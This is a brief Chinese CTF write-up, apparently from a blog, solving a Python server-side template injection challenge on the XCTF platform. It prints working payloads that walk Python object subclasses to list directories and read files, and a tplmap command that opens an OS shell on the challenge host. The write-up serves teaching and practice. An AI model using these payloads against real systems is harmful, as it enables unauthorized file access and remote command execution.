2 3 4 5 6 7 8 9 10 11 12

Web_python_template_injection xctf 攻防世界 web高手进阶区

题目描述

进入题目场景,知道为模板注入

解题通常有2种解法,手工注入和借助kali里的tqlmap脚本注入

手工注入:

1.测试注入:(有回显说明存在漏洞)

payload:http://111.200.241.244:60952/{{1+1}}

2.读取本级目录

payload:http://111.200.241.244:60952/{{().__class__.__base__.__subclasses__()[71].__init__.__globals__['os'].listdir('.')}}

3.读取fl4g文件

payload:http://111.200.241.244:60952/{{[].__class__.__base__.__subclasses__()[40]('fl4g').read()}}

tqlmap脚本注入:

1.探测注入点

payload:python2 tplmap.py -u http://111.200.241.244:60952/*

2.获取shell

payload:python2 tplmap.py -u http://111.200.241.244:60952/* --os-shell

3.查看当前目录ls

4.查看文件内容

俩种方法皆可得到flag。

posted @ 2022-01-23 21:29  MrDevil  阅读(94)  评论(0)    收藏  举报